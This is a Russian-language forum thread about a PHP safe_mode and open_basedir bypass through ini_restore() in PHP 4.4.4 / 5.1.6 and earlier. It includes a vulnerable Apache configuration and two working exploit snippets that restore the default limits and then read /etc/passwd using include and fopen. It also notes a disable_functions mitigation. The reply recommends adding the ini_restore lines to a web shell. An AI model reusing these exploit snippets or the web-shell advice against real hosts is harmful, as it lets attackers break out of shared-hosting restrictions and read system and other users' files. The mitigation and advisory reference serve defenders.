надеюсь это уже все знают: PHP 4.4.4 и более ранние версии PHP 5.1.6 и более ранние версии Уязвимость позволяет получить доступ к важным данным на системе. Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках сервера, а в файле php.ini находятся значения по умолчанию, можно восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле сервера. Пример уязвимой конфигурации: <Directory /usr/home/frajer/public_html/> Options FollowSymLinks MultiViews Indexes AllowOverride None php_admin_flag safe_mode 1 php_admin_value open_basedir /usr/home/frajer/public_html/ </Directory> Эксплоит <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); include("/etc/passwd"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); include("/etc/passwd"); ?> PS: Вместо инклуд в эксплойте можно использовать fopen: <? echo("<pre>"); ini_restore("open_basedir"); $filename="/etc/passwd"; $h=fopen($filename, "r"); $contents=fread($h, filesize($filename)); echo($contents); echo("OK"); ?> вот так дырку можно закрыть так disable_functions = symlink,ini_restore Основная информация о дырке и эксплойте сдесь: ht_tp://securityreason.com/achievement_securityalert/42
хм, новость месечной давности. А юзать можно так. В РСТ шелле (или любом другом) сверху пишешь эти две строчки с ини_ресторе. И все.